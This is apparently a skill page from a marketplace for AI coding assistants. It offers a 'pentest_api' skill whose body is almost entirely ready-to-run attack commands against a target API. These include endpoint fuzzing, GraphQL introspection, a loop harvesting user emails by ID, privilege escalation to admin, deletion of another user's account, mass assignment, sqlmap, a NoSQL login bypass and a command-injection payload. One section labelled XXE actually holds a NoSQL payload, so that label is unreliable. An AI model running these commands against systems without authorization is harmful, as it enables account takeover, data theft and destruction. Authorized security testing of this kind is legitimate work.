원클릭으로
pentest-api
API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Network penetration testing — service enumeration, vulnerability scanning, credential auditing, Active Directory
Master pentest orchestration — full pipeline from target to report with confirmation gates
Comprehensive reconnaissance — passive OSINT, subdomain enumeration, port scanning, technology fingerprinting
Generate professional penetration testing reports from findings
Web application penetration testing — XSS, SQLi, CSRF, SSRF, command injection, file upload, WAF bypass
Code security testing — SAST, SCA, secret detection, container scanning, IaC analysis
| name | pentest_api |
| description | API security testing — REST, GraphQL, authentication, authorization, rate limiting, business logic |
| triggers | ["api pentest","api test","rest api","graphql","idor","bola"] |
Dedicated skill for testing REST and GraphQL API security (OWASP API Top 10).
# Check common doc locations
curl -s {target_url}/swagger.json | jq '.paths | keys[]' > /tmp/api-swagger-paths.txt
curl -s {target_url}/openapi.json | jq '.paths | keys[]' > /tmp/api-openapi-paths.txt
# Fuzz common API paths
ffuf -u {target_url}/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/swagger.txt \
-mc 200 -o /tmp/api-docs-ffuf.json -of json
ffuf -u {target_url}/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,302,401,403,405 -o /tmp/api-endpoints.json -of json
curl -s -X POST {target_url}/graphql \
-H "Content-Type: application/json" \
-d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }"}' \
| jq '.' > /tmp/graphql-schema.json
# Test: no auth, invalid token, expired token
curl -s -o /dev/null -w "%{http_code}" {target_url}/api/users
curl -s -o /dev/null -w "%{http_code}" -H "Authorization: Bearer TOKEN" {target_url}/api/users
# Enumerate resource IDs with same token
for id in $(seq 1 100); do
curl -s -H "Authorization: Bearer TOKEN" {target_url}/api/users/${id} | jq '.email // empty'
done
curl -s -H "Authorization: Bearer USER_TOKEN" {target_url}/api/admin/users
curl -s -X DELETE -H "Authorization: Bearer USER_TOKEN" {target_url}/api/users/2
curl -s -X PATCH -H "Authorization: Bearer USER_TOKEN" {target_url}/api/users/1 \
-d '{"role":"admin"}'
curl -X POST {target_url}/api/users \
-H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
# SQLi in API params
sqlmap -u "{target_url}/api/users?id=1" --batch --level=3 --headers="Authorization: Bearer TOKEN"
# NoSQL injection
curl -X POST {target_url}/api/login -H "Content-Type: application/json" \
-d '{"username":{"$gt":""},"password":{"$gt":""}}'
# Command injection
curl -X POST {target_url}/api/ping -H "Content-Type: application/json" \
-d '{"host":"127.0.0.1; sleep 5"}'
# XXE in XML/SOAP APIs
curl -X POST {target_url}/api/search -H "Content-Type: application/json" \
-d '{"query":{"$regex":".*"}}'
for i in $(seq 1 200); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" {target_url}/api/users)
[[ "$STATUS" == "429" ]] && echo "Rate limited at request $i" && break
done
Check for excessive data in responses; sensitive fields exposed.